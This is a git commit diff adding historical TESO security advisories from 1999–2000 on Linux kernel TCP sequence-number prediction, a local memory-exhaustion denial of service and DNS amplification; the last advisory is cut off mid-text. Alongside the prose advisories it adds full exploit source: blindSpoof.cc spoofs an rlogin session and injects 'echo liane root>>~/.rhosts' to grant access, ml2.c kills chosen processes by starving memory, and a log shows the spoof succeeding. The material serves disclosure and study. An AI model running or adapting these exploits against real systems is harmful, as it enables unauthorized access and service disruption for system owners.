diff options
| author | Root THC | 2026-02-24 12:42:47 +0000 |
|---|---|---|
| committer | Root THC | 2026-02-24 12:42:47 +0000 |
| commit | c9cbeced5b3f2bdd7407e29c0811e65954132540 (patch) | |
| tree | aefc355416b561111819de159ccbd86c3004cf88 /advisories | |
| parent | 073fe4bf9fca6bf40cef2886d75df832ef4b6fca (diff) | |
initial
Diffstat (limited to 'advisories')
41 files changed, 6355 insertions, 0 deletions
diff --git a/advisories/teso-advisory-001/advisory-001.txt b/advisories/teso-advisory-001/advisory-001.txt new file mode 100644 index 0000000..128de64 --- /dev/null +++ b/advisories/teso-advisory-001/advisory-001.txt | |||
| @@ -0,0 +1,225 @@ | |||
| 1 | |||
| 2 | ------ | ||
| 3 | |||
| 4 | TESO Security Advisory | ||
| 5 | 26/09/1999 | ||
| 6 | |||
| 7 | Linux Kernel 2.2.x ISN Vulnerability | ||
| 8 | |||
| 9 | |||
| 10 | Summary | ||
| 11 | =================== | ||
| 12 | |||
| 13 | A weakness within the TCP stack in Linux 2.2.x kernels has been | ||
| 14 | discovered. The vulnerability makes it possible to "blind-spoof" TCP | ||
| 15 | connections. | ||
| 16 | It's therefore possible for an attacker to initiate a TCP connection | ||
| 17 | from an arbitrary non existing or unresponding IP source address, | ||
| 18 | exploiting IP address based access control mechanisms. | ||
| 19 | |||
| 20 | Linux 2.0.x kernels were tested against this attack and found not to | ||
| 21 | be vulnerable in any case. | ||
| 22 | |||
| 23 | |||
| 24 | Systems Affected | ||
| 25 | =================== | ||
| 26 | |||
| 27 | All systems running the kernel versions 2.2.x of the Linux operating | ||
| 28 | system. Linux 2.3.x systems may be affected, too, we didn't tested | ||
| 29 | this versions. | ||
| 30 | |||
| 31 | In our test situations we noticed that it doesn't seem to matter | ||
| 32 | whether the TCP syncookie functionality was enabled or not (enabled | ||
| 33 | within the kernel and activated through the proc filesystem options). | ||
| 34 | |||
| 35 | |||
| 36 | Tests | ||
| 37 | =================== | ||
| 38 | |||
| 39 | This is the beginning of a log of a successfully mounted blind TCP | ||
| 40 | spoofing attack agains a Linux 2.2.12 system. | ||
| 41 | (tcpdump output formatted for better readability) | ||
| 42 | |||
| 43 | 16:23:02.727540 attacker.522 > victim.ssh : S 446679473: 446679473(0) | ||
| 44 | 16:23:02.728371 victim.ssh > attacker.522: S 3929852318:3929852318(0) | ||
| 45 | 16:23:02.734448 11.11.11.11.522 > victim.ssh: S 446679473: 446679473(0) | ||
| 46 | 16:23:02.734599 victim.ssh > 11.11.11.11.522: S 3929859164:3929859164(0) | ||
| 47 | 16:23:03.014941 attacker.522 > victim.ssh: R 446679474: 446679474(0) | ||
| 48 | 16:23:05.983368 victim.ssh > 11.11.11.11.522: S 3929859164:3929859164(0) | ||
| 49 | 16:23:06.473192 11.11.11.11.522 > victim.ssh: . ack 3929855318 | ||
| 50 | 16:23:06.473427 victim.ssh > 11.11.11.11.522: R 3929855318:3929855318(0) | ||
| 51 | 16:23:06.554958 11.11.11.11.522 > victim.ssh: . ack 3929855319 | ||
| 52 | 16:23:06.555119 victim.ssh > 11.11.11.11.522: R 3929855319:3929855319(0) | ||
| 53 | 16:23:06.637731 11.11.11.11.522 > victim.ssh: . ack 3929855320 | ||
| 54 | 16:23:06.637909 victim.ssh > 11.11.11.11.522: R 3929855320:3929855320(0) | ||
| 55 | ... | ||
| 56 | |||
| 57 | The first ISN of the victim's host is 3929852318, which is within a SYNACK | ||
| 58 | packet to the attackers host. This is unspoofed and can be easily snagged | ||
| 59 | by the attacker. | ||
| 60 | At the same time the attacker sent out the first unspoofed SYN packet he | ||
| 61 | sent a spoofed SYN packet from 11.11.11.11 too. This packet is answered | ||
| 62 | by the victims host too with the ISN of 3929859164. | ||
| 63 | The difference between the first visible ISN and the second ISN is only | ||
| 64 | (3929859164-3929852318) = 6846. | ||
| 65 | |||
| 66 | Please notice that all TCP and IP parameters of the spoofed packet, except | ||
| 67 | for the IP source address are the same as of the unspoofed packet. This is | ||
| 68 | important (see below). | ||
| 69 | |||
| 70 | This small differences within the initial TCP sequence number (ISN) is | ||
| 71 | exploitable. In other tests, where both hosts were unlagged we even had | ||
| 72 | differences below 500 sometimes. | ||
| 73 | |||
| 74 | We've managed to successfully blind spoof TCP connections on different | ||
| 75 | Linux 2.2.x systems, that is reaching the TCP "ESTABLISHED" state without | ||
| 76 | being able to sniff the victim host. | ||
| 77 | |||
| 78 | |||
| 79 | Impact | ||
| 80 | =================== | ||
| 81 | |||
| 82 | By sending packets from a trusted source address, attackers could possibly | ||
| 83 | bypass address based authentication and security mechanisms. | ||
| 84 | |||
| 85 | There have been similiar exploiting technics, aimed especially at r* and | ||
| 86 | NFS services, in the past that demonstrated the security impact of weak | ||
| 87 | ISNs very well. | ||
| 88 | We have written a working exploit to demonstrate the weakness. | ||
| 89 | |||
| 90 | |||
| 91 | Explanation | ||
| 92 | =================== | ||
| 93 | |||
| 94 | The problem relies on a implementation flaw within the random ISN algorithm | ||
| 95 | in the Linux kernel. | ||
| 96 | |||
| 97 | The problem is within drivers/char/random.c, line 1684: | ||
| 98 | |||
| 99 | __u32 secure_tcp_sequence_number(__u32 saddr, __u32 daddr, | ||
| 100 | __u16 sport, __u16 dport) | ||
| 101 | { | ||
| 102 | ... | ||
| 103 | static __u32 secret[12]; | ||
| 104 | ... | ||
| 105 | secret[0]=saddr; | ||
| 106 | secret[1]=daddr; | ||
| 107 | secret[2]=(sport << 16) + dport; | ||
| 108 | |||
| 109 | seq = (halfMD4Transform(secret+8, secret) & | ||
| 110 | ((1<<HASH_BITS)-1)) + count; | ||
| 111 | ... | ||
| 112 | } | ||
| 113 | |||
| 114 | As already said, in our spoofed TCP SYN packet only the IP source address | ||
| 115 | differs, that is only secret[0], so of 12*4 random bytes used to create the | ||
| 116 | sequence number from, only 4 bytes differ. | ||
| 117 | Obviously the hash created by halfMD4Transform has similarities if the | ||
| 118 | source and destination ports and the destination address are the same. | ||
| 119 | |||
| 120 | It seems that the src-adress is least-significant to the above MD4 | ||
| 121 | algorithm. Changing the source-ports too, makes the 2 ISNs more differ. | ||
| 122 | Due to the short gap of time, the last | ||
| 123 | |||
| 124 | seq += tv.tv_usec + tv.tv_sec*1000000; | ||
| 125 | |||
| 126 | is useless. This may be the reason why this bug may have survived long: | ||
| 127 | In any real network situation it is uncommon that the source and | ||
| 128 | destination ports are equal in two different connections on one host. | ||
| 129 | |||
| 130 | Further analyzation of the hash algorithm in this routine may result in a | ||
| 131 | better ISN prediction than the one we use (range prediction). | ||
| 132 | |||
| 133 | |||
| 134 | Solution | ||
| 135 | =================== | ||
| 136 | |||
| 137 | First: It's always unwise to rely on address based authentication, | ||
| 138 | because in a sniffable enviroment, such as the Internet, there | ||
| 139 | are always means of bypassing address based authentication. | ||
| 140 | |||
| 141 | Second: The press shouldn't hype this as _THE_ Linux bug.. everyone having | ||
| 142 | looked at the ISNs/DNS Sequence numbers of any of Microsoft's | ||
| 143 | operating systems knows that their 'random numbers' are _much_ | ||
| 144 | easier targets to use for IP and DNS spoofing attacks. For a | ||
| 145 | a description how the ISN numbers of the Microsoft Windows NT | ||
| 146 | TCP stack have even weakened with the latest Service Packs, you | ||
| 147 | may want to browse the latest postings to the Bugtraq security | ||
| 148 | mailing list [1] or read [2]. | ||
| 149 | Well.. not that it matters.. but who uses Microsoft software | ||
| 150 | anyway ? | ||
| 151 | |||
| 152 | The Linux kernel developers have been notified at the same time as the | ||
| 153 | public Linux community, so a safe patch should be available real soon. | ||
| 154 | |||
| 155 | |||
| 156 | Acknowledgments | ||
| 157 | ================ | ||
| 158 | |||
| 159 | The bugdiscovery and the exploit is due to: | ||
| 160 | |||
| 161 | Stealth http://www.kalug.lug.net/stealth | ||
| 162 | S. Krahmer http://www.cs.uni-potsdam.de/homepages/students/linuxer | ||
| 163 | |||
| 164 | This advisory has been written by typo and scut. | ||
| 165 | The tests and further analyzation were done by stealth and scut. | ||
| 166 | The demonstration exploit has been written by S. Krahmer. | ||
| 167 | |||
| 168 | |||
| 169 | Contact Information | ||
| 170 | =================== | ||
| 171 | |||
| 172 | The teso crew can be reached by mailing to teso@shellcode.org. | ||
| 173 | Our webpage is at http://teso.scene.at/ | ||
| 174 | |||
| 175 | |||
| 176 | References | ||
| 177 | =================== | ||
| 178 | |||
| 179 | [1] Mail to the Bugtraq mailing list | ||
| 180 | From: Roy Hills <bugtraq-l@NTA-MONITOR.COM> | ||
| 181 | Subject: NT Predictable Initial TCP Sequence numbers - changes observed | ||
| 182 | with SP4 | ||
| 183 | |||
| 184 | [2] Microsoft Knowledge Database Article | ||
| 185 | ID: Q192292 "Unpredictable TCP Sequence Numbers in SP4". | ||
| 186 | |||
| 187 | [3] libUSI++, a spoofing library | ||
| 188 | http://www.cs.uni-potsdam.de/homepages/students/linuxer/ | ||
| 189 | |||
| 190 | [4] TESO | ||
| 191 | http://teso.scene.at/ | ||
| 192 | |||
| 193 | [5] S. Krahmer | ||
| 194 | http://www.cs.uni-potsdam.de/homepages/students/linuxer | ||
| 195 | |||
| 196 | |||
| 197 | Disclaimer | ||
| 198 | =================== | ||
| 199 | |||
| 200 | This advisory does not claim to be complete or to be usable for any | ||
| 201 | purpose. Especially information on the vulnerable systems may be | ||
| 202 | inaccurate or wrong. The supplied exploit is not to be used for malicious | ||
| 203 | purposes, but for educational purposes only. | ||
| 204 | |||
| 205 | This advisory is free for open distribution in unmodified form. | ||
| 206 | Articles that are based on information from this advisory should include | ||
| 207 | link [4] and [5]. | ||
| 208 | |||
| 209 | |||
| 210 | Exploit | ||
| 211 | =================== | ||
| 212 | |||
| 213 | We've created a working exploit to demonstrate the vulnerability. | ||
| 214 | The exploit needs libUSI++ installed, which can be obtained through [3]. | ||
| 215 | |||
| 216 | The exploit is available from either | ||
| 217 | |||
| 218 | http://teso.scene.at/ | ||
| 219 | or | ||
| 220 | http://www.cs.uni-potsdam.de/homepages/students/linuxer/ | ||
| 221 | |||
| 222 | |||
| 223 | ------ | ||
| 224 | |||
| 225 | |||
diff --git a/advisories/teso-advisory-001/blindSpoof.cc b/advisories/teso-advisory-001/blindSpoof.cc new file mode 100644 index 0000000..cb4620b --- /dev/null +++ b/advisories/teso-advisory-001/blindSpoof.cc | |||
| @@ -0,0 +1,208 @@ | |||
| 1 | /*** Exploit for the 2.2 linux-kernel TCP/IP weakness. | ||
| 2 | *** (C) 1999 by S. Krahmer. | ||
| 3 | *** THERE IS ABSOLUTELY NO WARRANTY. YOU USE IT AT YOUR OWN RSIK! | ||
| 4 | *** THIS PROGRAM IS LICESED UNDER THE GPL and belongs to a security- | ||
| 5 | *** advisory of team teso. You should get the full advisory with paper | ||
| 6 | *** on either | ||
| 7 | *** http://www.cs.uni-potsdam.de/homepages/students/linuxer or | ||
| 8 | *** http://teso.scene.at | ||
| 9 | *** | ||
| 10 | *** The bugdiscovery and the exploit is due to: | ||
| 11 | *** | ||
| 12 | *** Stealth http://www.kalug.lug.net/stealth | ||
| 13 | *** S. Krahmer http://www.cs.uni-potsdam.de/homepages/students/linxuer | ||
| 14 | *** | ||
| 15 | *** c++ blindSpoof.cc -lusi++ -lpcap (this is LINUX source!) | ||
| 16 | *** Libusi++ is available on my homepage. | ||
| 17 | *** Achtung: Gehen Sie nicht in den 100 Meilen tiefen Wald! ;-) | ||
| 18 | ***/ | ||
| 19 | #include <stdio.h> | ||
| 20 | #include <iostream> | ||
| 21 | #include <stdlib.h> | ||
| 22 | #include <unistd.h> | ||
| 23 | #include <string.h> | ||
| 24 | #include <signal.h> | ||
| 25 | #include <usi++/usi++.h> | ||
| 26 | |||
| 27 | #define XPORT 513 | ||
| 28 | |||
| 29 | // may be changed, my best results were around 2000, | ||
| 30 | // but also diffs of > 5000 can happen :) | ||
| 31 | // change it it really not works | ||
| 32 | #define MAXPACK 3000 | ||
| 33 | |||
| 34 | // define this if you want to exploit rlogind | ||
| 35 | // if not, you will just spoof a connection to XPORT | ||
| 36 | #define EXPLOIT_RLOGIND | ||
| 37 | |||
| 38 | // uses eth0 for packet-capturing! | ||
| 39 | TCP *pingVictum(char *, char *, char *); | ||
| 40 | int printInfo(TCP *); | ||
| 41 | bool wrongPacket(TCP *, TCP *); | ||
| 42 | |||
| 43 | int main(int argc, char **argv) | ||
| 44 | { | ||
| 45 | // yes, script-kidz! this is hardcoded to prevent you from usage. | ||
| 46 | const char *remoteUser = "stealth", | ||
| 47 | *localUser = "stealth", | ||
| 48 | *command = "echo liane root>>~/.rhosts\n"; | ||
| 49 | char sbuf[1000]; | ||
| 50 | |||
| 51 | if (argc < 4) { | ||
| 52 | printf("Usage %s [destination-IP] [source-IP] [spoofed-IP]\n", argv[0]); | ||
| 53 | exit(1); | ||
| 54 | } | ||
| 55 | cout<<"blindSpoof-exploit by S. Krahmer\n" | ||
| 56 | "http://www.cs.uni-potsdam.de/homepages/students/linuxer\n\n"; | ||
| 57 | // would be connect() | ||
| 58 | TCP *conn = pingVictum(argv[1], argv[2], argv[3]); | ||
| 59 | |||
| 60 | #ifdef EXPLOIT_RLOGIND | ||
| 61 | conn->set_flags(0); | ||
| 62 | sprintf(sbuf, "\0"); | ||
| 63 | conn->sendpack(sbuf, 1); | ||
| 64 | sleep(1); | ||
| 65 | |||
| 66 | cout<<"Sending local username: "<<localUser<<endl; | ||
| 67 | |||
| 68 | // send local username | ||
| 69 | conn->set_seq(conn->get_seq() + 1); | ||
| 70 | memset(sbuf, 0, 1000); | ||
| 71 | snprintf(sbuf, sizeof(sbuf), "%s\0", localUser); | ||
| 72 | conn->sendpack(sbuf, strlen(sbuf) + 1); | ||
| 73 | |||
| 74 | // we don't know about the lag, so i hope that 7 in sec. | ||
| 75 | // the victum has sent an ACK | ||
| 76 | sleep(7); | ||
| 77 | |||
| 78 | cout<<"Sending remote username: "<<remoteUser<<endl; | ||
| 79 | |||
| 80 | // send remote username | ||
| 81 | conn->set_seq(conn->get_seq() + strlen(sbuf) + 1); | ||
| 82 | memset(sbuf, 0, sizeof(sbuf)); | ||
| 83 | snprintf(sbuf, sizeof(sbuf), "%s\0", remoteUser); | ||
| 84 | conn->sendpack(sbuf, strlen(sbuf) + 1); | ||
| 85 | sleep(7); | ||
| 86 | |||
| 87 | cout<<"Sending terminal-type and speed.\n"; | ||
| 88 | conn->set_seq(conn->get_seq() + strlen(sbuf) + 1); | ||
| 89 | memset(sbuf, 0, sizeof(sbuf)); | ||
| 90 | snprintf(sbuf, sizeof(sbuf), "%s\0", "linux/38400"); | ||
| 91 | conn->sendpack(sbuf, strlen(sbuf) + 1); | ||
| 92 | sleep(7); | ||
| 93 | |||
| 94 | |||
| 95 | cout<<"Sending command: "<<command<<endl; | ||
| 96 | conn->set_seq(conn->get_seq() + strlen(sbuf) + 1); | ||
| 97 | memset(sbuf, 0, sizeof(sbuf)); | ||
| 98 | snprintf(sbuf, sizeof(sbuf), "%s\0", command); | ||
| 99 | conn->sendpack(sbuf, strlen(sbuf) + 1); | ||
| 100 | #else | ||
| 101 | cout<<"Connection to port "<<XPORT<<" should be established.\n"; | ||
| 102 | #endif | ||
| 103 | delete conn; | ||
| 104 | return 0; | ||
| 105 | } | ||
| 106 | |||
| 107 | /* Spoof a connection. */ | ||
| 108 | TCP *pingVictum(char *host, char *src, char *spoofed) | ||
| 109 | { | ||
| 110 | char buf[100]; | ||
| 111 | TCP *victumLow = new TCP(host), | ||
| 112 | *victumSpoofed = new TCP(host), | ||
| 113 | *sn = new TCP(host); | ||
| 114 | int myISN = rand(), sport = 512 + rand()%512; | ||
| 115 | |||
| 116 | sn->init_device("eth0", 1, 500); | ||
| 117 | |||
| 118 | victumLow->set_flags(TH_SYN); | ||
| 119 | victumLow->set_dstport(XPORT); // rlogin | ||
| 120 | victumLow->set_srcport(sport); // from a privileged port | ||
| 121 | victumLow->set_src(src); | ||
| 122 | victumLow->set_seq(myISN); | ||
| 123 | |||
| 124 | victumSpoofed->set_flags(TH_SYN); | ||
| 125 | victumSpoofed->set_dstport(XPORT); | ||
| 126 | victumSpoofed->set_srcport(sport); | ||
| 127 | victumSpoofed->set_src(spoofed); | ||
| 128 | victumSpoofed->set_seq(myISN); // we must save the ISN | ||
| 129 | |||
| 130 | // send SYN to get low end of ISN | ||
| 131 | victumLow->sendpack(""); | ||
| 132 | |||
| 133 | // send spoofed SYN | ||
| 134 | victumSpoofed->sendpack(""); | ||
| 135 | |||
| 136 | cout<<"Using sourceport "<<victumSpoofed->get_srcport()<<endl; | ||
| 137 | |||
| 138 | // wait for SYN/ACK of low packet | ||
| 139 | while (wrongPacket(sn, victumLow)) { | ||
| 140 | sn->sniffpack(buf, 100); | ||
| 141 | printf("%s:%d -> %s:%d ", sn->get_src(1), sn->get_srcport(), | ||
| 142 | sn->get_dst(1), sn->get_dstport()); | ||
| 143 | printInfo(sn); | ||
| 144 | } | ||
| 145 | int lowISN = sn->get_seq(); | ||
| 146 | sleep(2); | ||
| 147 | |||
| 148 | // NOTE! Even if we sent the SYN before the spoofed SYN, the | ||
| 149 | // spoofed SYN can arrive first, due to routing reasons. | ||
| 150 | // Althought this is NOT very likely, we have to keep it in mind. | ||
| 151 | cout<<"Low end: "<<(unsigned)lowISN<<"\n"; | ||
| 152 | victumSpoofed->set_flags(TH_ACK); | ||
| 153 | victumSpoofed->set_seq(myISN + 1); | ||
| 154 | |||
| 155 | // | ||
| 156 | for (int i = lowISN; i < lowISN + MAXPACK; i++) { | ||
| 157 | victumSpoofed->set_ack(i); | ||
| 158 | victumSpoofed->sendpack(""); | ||
| 159 | printf("%u\r", i); fflush(stdout); | ||
| 160 | // maybe you have to place a usleep() here, depends on | ||
| 161 | // your devices | ||
| 162 | } | ||
| 163 | cout<<endl; | ||
| 164 | delete sn; | ||
| 165 | delete victumLow; | ||
| 166 | |||
| 167 | // from now, the connection should be established! | ||
| 168 | return victumSpoofed; | ||
| 169 | } | ||
| 170 | |||
| 171 | |||
| 172 | // give out some infos about the received packet | ||
| 173 | int printInfo(TCP* r) | ||
| 174 | { | ||
| 175 | cout<<"[flags: "; | ||
| 176 | if (r->get_flags() & TH_FIN) | ||
| 177 | cout<<"FIN "; | ||
| 178 | if (r->get_flags() & TH_SYN) | ||
| 179 | cout<<"SYN "; | ||
| 180 | if (r->get_flags() & TH_RST) | ||
| 181 | cout<<"RST "; | ||
| 182 | if (r->get_flags() & TH_PUSH) | ||
| 183 | cout<<"PUSH "; | ||
| 184 | if (r->get_flags() & TH_ACK) | ||
| 185 | cout<<"ACK "; | ||
| 186 | if (r->get_flags() & TH_URG) | ||
| 187 | cout<<"URG "; | ||
| 188 | cout<<"] [ACK: "<<r->get_ack()<<"] [SEQ: "<<r->get_seq()<<"]"<<endl; | ||
| 189 | return 0; | ||
| 190 | } | ||
| 191 | |||
| 192 | /* returns true is packet is WRONG | ||
| 193 | */ | ||
| 194 | bool wrongPacket(TCP *p1, TCP *p2) | ||
| 195 | { | ||
| 196 | if (p1->get_src() != p2->get_dst()) | ||
| 197 | return true; | ||
| 198 | if (p1->get_dst() != p2->get_src()) | ||
| 199 | return true; | ||
| 200 | if (p1->get_dstport() != p2->get_srcport()) | ||
| 201 | return true; | ||
| 202 | if (p1->get_srcport() != p2->get_dstport()) | ||
| 203 | return true; | ||
| 204 | if (p1->get_ack() != (p2->get_seq() + 1)) | ||
| 205 | return true; | ||
| 206 | return false; | ||
| 207 | } | ||
| 208 | |||
diff --git a/advisories/teso-advisory-001/log b/advisories/teso-advisory-001/log new file mode 100644 index 0000000..35de547 --- /dev/null +++ b/advisories/teso-advisory-001/log | |||
| @@ -0,0 +1,29 @@ | |||
| 1 | [root@liane /root]# rlogin -l stealth lucifer | ||
| 2 | Password: | ||
| 3 | Password: | ||
| 4 | ^D | ||
| 5 | |||
| 6 | Login incorrect | ||
| 7 | rlogin: connection closed. | ||
| 8 | [root@liane /root]# !c+ | ||
| 9 | c++ blindSpoof.cc -lusi++ -lpcap | ||
| 10 | [root@liane /root]# ./a.out lucifer liane alice | ||
| 11 | blindSpoof-exploit by S. Krahmer | ||
| 12 | http://www.cs.uni-potsdam.de/homepages/students/linxuer | ||
| 13 | |||
| 14 | Using sourceport 996 | ||
| 15 | liane.c-skills.de:996 -> lucifer.c-skills.de:513 [flags: SYN ] [ACK: 1709299065] [SEQ: 642221920] | ||
| 16 | alice:996 -> lucifer.c-skills.de:513 [flags: SYN ] [ACK: 1709299065] [SEQ: 642221920] | ||
| 17 | lucifer.c-skills.de:513 -> liane.c-skills.de:996 [flags: SYN ACK ] [ACK: 642221921] [SEQ: 3072739429] | ||
| 18 | Low end: 3072739429 | ||
| 19 | 3072742428 | ||
| 20 | Sending local username: stealth | ||
| 21 | Sending remote username: stealth | ||
| 22 | Sending terminal-type and speed. | ||
| 23 | Sending command: echo liane root>>~/.rhosts | ||
| 24 | |||
| 25 | |||
| 26 | [root@liane /root]# rlogin -l stealth lucifer | ||
| 27 | Last login: Sat Sep 25 16:17:50 from alice | ||
| 28 | You have mail. | ||
| 29 | lucifer:[stealth]> | ||
diff --git a/advisories/teso-advisory-002/advisory-002.txt b/advisories/teso-advisory-002/advisory-002.txt new file mode 100644 index 0000000..1deb1d8 --- /dev/null +++ b/advisories/teso-advisory-002/advisory-002.txt | |||
| @@ -0,0 +1,150 @@ | |||
| 1 | |||
| 2 | ------ | ||
| 3 | |||
| 4 | TESO Security Advisory | ||
| 5 | 01/09/2000 | ||
| 6 | |||
| 7 | Linux Kernel 2.0.x and 2.2.x local Denial of Service attack | ||
| 8 | |||
| 9 | |||
| 10 | Summary | ||
| 11 | =================== | ||
| 12 | |||
| 13 | A weakness within the Linux 2.0.x and Linux 2.2.x kernels has been | ||
| 14 | discovered. The vulnerability allows any user without limits on the | ||
| 15 | system to crash arbitary processes, even those owned by the superuser. | ||
| 16 | Even system crashes can be experienced. | ||
| 17 | |||
| 18 | |||
| 19 | Systems Affected | ||
| 20 | =================== | ||
| 21 | |||
| 22 | All systems running the kernel versions 2.0.x or 2.2.x of the Linux | ||
| 23 | operating system with local users who have no resource limits. | ||
| 24 | It is not enough to set special values only for the max. number of | ||
| 25 | processer per user ('forkbomb'). | ||
| 26 | Linux 2.3.x systems may be affected, too, we didn't tested this versions. | ||
| 27 | |||
| 28 | |||
| 29 | Tests | ||
| 30 | =================== | ||
| 31 | |||
| 32 | A system crash or the crash of particular processes can be reproduced | ||
| 33 | using the included exploit file "ml2.c", written by Stealth [3]. | ||
| 34 | We've successfully managed to crash Linux 2.0.x and 2.2.x systems with | ||
| 35 | it. | ||
| 36 | |||
| 37 | |||
| 38 | Impact | ||
| 39 | =================== | ||
| 40 | |||
| 41 | By crashing single processes or even crashing the whole system an attacker | ||
| 42 | may render the whole system unuseable to any other user (including | ||
| 43 | superuser) or selectivly kill only important processes, denying services | ||
| 44 | to legitimate use. | ||
| 45 | |||
| 46 | |||
| 47 | Explanation | ||
| 48 | =================== | ||
| 49 | |||
| 50 | Any user can request a big amount of memory, 'stealing' required space for | ||
| 51 | important processes (syslogd, klogd, ...). Due to a lack of space, a | ||
| 52 | system-call of these processes that requires new space will fail. In | ||
| 53 | consequence this process will be killed by the kernel. | ||
| 54 | (see arch/{...}/mm/fault.c) | ||
| 55 | |||
| 56 | There should be a mechanism that protects a pool of memory for important | ||
| 57 | processes, which can only be accessed by the kernel itself or by processes | ||
| 58 | with (E)UID of 0. | ||
| 59 | |||
| 60 | The real bad thing in this is that unlimited resources are the default-case | ||
| 61 | and kernel happily gives away all the space to these unlimited processes. | ||
| 62 | In the kernel's eyes the process of luser foo has the same right/priority | ||
| 63 | for memory-requests as even init. | ||
| 64 | |||
| 65 | |||
| 66 | Solution | ||
| 67 | =================== | ||
| 68 | |||
| 69 | Since the problem can only be exploited by users who already have local | ||
| 70 | access, the best way to prevent this and other local attacks is to give | ||
| 71 | only those users access that can be trusted. | ||
| 72 | |||
| 73 | However this problem is within the Linux kernel and can definitely be | ||
| 74 | fixed. | ||
| 75 | As a general advice the administrator should heavily use resource-limits | ||
| 76 | for all 'dangerous' parts such as max. numbers of processes, max. memory | ||
| 77 | etc.. Also programs such as [4] should be used on important systems to | ||
| 78 | prevent local DoS attacks. | ||
| 79 | |||
| 80 | The Linux kernel developers have been notified at the same time as the | ||
| 81 | public Linux community, so a safe patch should be available real soon. | ||
| 82 | |||
| 83 | |||
| 84 | Acknowledgments | ||
| 85 | ================ | ||
| 86 | |||
| 87 | The bugdiscovery and further analyzation was done by | ||
| 88 | |||
| 89 | S. Krahmer http://www.cs.uni-potsdam.de/homepages/students/linuxer | ||
| 90 | |||
| 91 | The exploit is due to | ||
| 92 | |||
| 93 | Stealth http://www.kalug.lug.net/stealth | ||
| 94 | |||
| 95 | This advisory has been written by scut and stealth. | ||
| 96 | |||
| 97 | |||
| 98 | Contact Information | ||
| 99 | =================== | ||
| 100 | |||
| 101 | The teso crew can be reached by mailing to teso@shellcode.org. | ||
| 102 | Our webpage is at http://teso.scene.at/ | ||
| 103 | |||
| 104 | C-skilled developers may be reached through [2]. | ||
| 105 | |||
| 106 | |||
| 107 | References | ||
| 108 | =================== | ||
| 109 | |||
| 110 | [1] TESO | ||
| 111 | http://teso.scene.at/ | ||
| 112 | |||
| 113 | [2] S. Krahmer | ||
| 114 | http://www.cs.uni-potsdam.de/homepages/students/linuxer | ||
| 115 | |||
| 116 | [3] Stealth | ||
| 117 | http://www.kalug.lug.net/stealth/ | ||
| 118 | |||
| 119 | [4] Fork Bomb Defuser | ||
| 120 | http://www.geocities.com/SiliconValley/Software/9197/rexfbd.htm | ||
| 121 | |||
| 122 | |||
| 123 | Disclaimer | ||
| 124 | =================== | ||
| 125 | |||
| 126 | This advisory does not claim to be complete or to be usable for any | ||
| 127 | purpose. Especially information on the vulnerable systems may be | ||
| 128 | inaccurate or wrong. The supplied exploit is not to be used for malicious | ||
| 129 | purposes, but for educational purposes only. | ||
| 130 | |||
| 131 | This advisory is free for open distribution in unmodified form. | ||
| 132 | Articles that are based on information from this advisory should include | ||
| 133 | link [1] and [2]. | ||
| 134 | |||
| 135 | |||
| 136 | Exploit | ||
| 137 | =================== | ||
| 138 | |||
| 139 | We've created a working exploit to demonstrate the vulnerability. | ||
| 140 | |||
| 141 | The exploit is available on either | ||
| 142 | |||
| 143 | http://teso.scene.at/ | ||
| 144 | or | ||
| 145 | http://www.cs.uni-potsdam.de/homepages/students/linuxer/ | ||
| 146 | |||
| 147 | |||
| 148 | ------ | ||
| 149 | |||
| 150 | |||
diff --git a/advisories/teso-advisory-002/ml2.c b/advisories/teso-advisory-002/ml2.c new file mode 100644 index 0000000..9ea7f43 --- /dev/null +++ b/advisories/teso-advisory-002/ml2.c | |||
| @@ -0,0 +1,40 @@ | |||
| 1 | #include <stdio.h> | ||
| 2 | #include <unistd.h> | ||
| 3 | #include <stdlib.h> | ||
| 4 | #include <syslog.h> | ||
| 5 | |||
| 6 | #error | ||
| 7 | |||
| 8 | int main(int argc, char **argv) | ||
| 9 | { | ||
| 10 | char foo[1000]; | ||
| 11 | char bigmsg[10000]; | ||
| 12 | char *s, *hold_s; | ||
| 13 | int i = 0; | ||
| 14 | |||
| 15 | memset(bigmsg, 'X', sizeof(bigmsg)-1); | ||
| 16 | if (argc < 2) { | ||
| 17 | printf("usage: %s <pid to kill>\n", argv[0]); | ||
| 18 | exit(1); | ||
| 19 | } | ||
| 20 | // fork(); | ||
| 21 | memset(foo, 0, sizeof(foo)); | ||
| 22 | snprintf(foo, sizeof(foo), "/proc/%s/stat", argv[1]); | ||
| 23 | while (access(foo, F_OK) == 0) { | ||
| 24 | s = malloc(10000); | ||
| 25 | if (s == NULL) { | ||
| 26 | if (hold_s) | ||
| 27 | free(hold_s); | ||
| 28 | /* if (s) | ||
| 29 | s[i%10000] = 0; | ||
| 30 | */ printf("crashing ... \n"); | ||
| 31 | openlog("b00m", 0, 0); | ||
| 32 | syslog(1, bigmsg); | ||
| 33 | closelog(); | ||
| 34 | } | ||
| 35 | printf("%d\r", i++); fflush(stdout); | ||
| 36 | hold_s = s; | ||
| 37 | } | ||
| 38 | return 0; | ||
| 39 | } | ||
| 40 | |||
diff --git a/advisories/teso-advisory-003/advisory-003.txt b/advisories/teso-advisory-003/advisory-003.txt new file mode 100644 index 0000000..be6bc78 --- /dev/null +++ b/advisories/teso-advisory-003/advisory-003.txt | |||
| @@ -0,0 +1,258 @@ | |||
| 1 | |||
| 2 | ------ | ||
| 3 | |||
| 4 | TESO Security Advisory | ||
| 5 | 02/11/2000 | ||
| 6 | |||
| 7 | Nameserver traffic amplify (DNS Smurf) and NS Route discovery (DNS Traceroute) | ||
| 8 | |||
| 9 | |||
| 10 | Summary | ||
| 11 | =================== | ||
| 12 | |||
| 13 | Nameservers which accept and forward external DNS queries may be abused | ||
| 14 | as traffic amplifiers, exposing a possible threat to network integrity | ||
| 15 | by bandwidth saturation (DNS Smurf). | ||
| 16 | |||
| 17 | A "deaf" pseudo nameserver may be used to discover the query chain a | ||
| 18 | DNS query takes through various nameservers, allowing to make a trace- | ||
| 19 | route like route discovery (DNS Traceroute). | ||
| 20 | |||
| 21 | |||
| 22 | Systems Affected | ||
| 23 | =================== | ||
| 24 | |||
| 25 | All type of nameservers which accept external queries. Especially those, | ||
| 26 | which forward the queries to other nameservers or those which have | ||
| 27 | excessive retry attempt values. The common value is to try three times, | ||
| 28 | but we have observed misconfigured servers which tried more then 20 times | ||
| 29 | sending out a query packet. | ||
| 30 | |||
| 31 | Note that this attack is completely different from the DNS Smurf attack | ||
| 32 | discovered by s0ftpr0ject [4], however, it exploits weaknesses in default | ||
| 33 | BIND [6] configurations too. | ||
| 34 | |||
| 35 | |||
| 36 | Tests | ||
| 37 | =================== | ||
| 38 | |||
| 39 | The following data is an except from initial tests we have conducted | ||
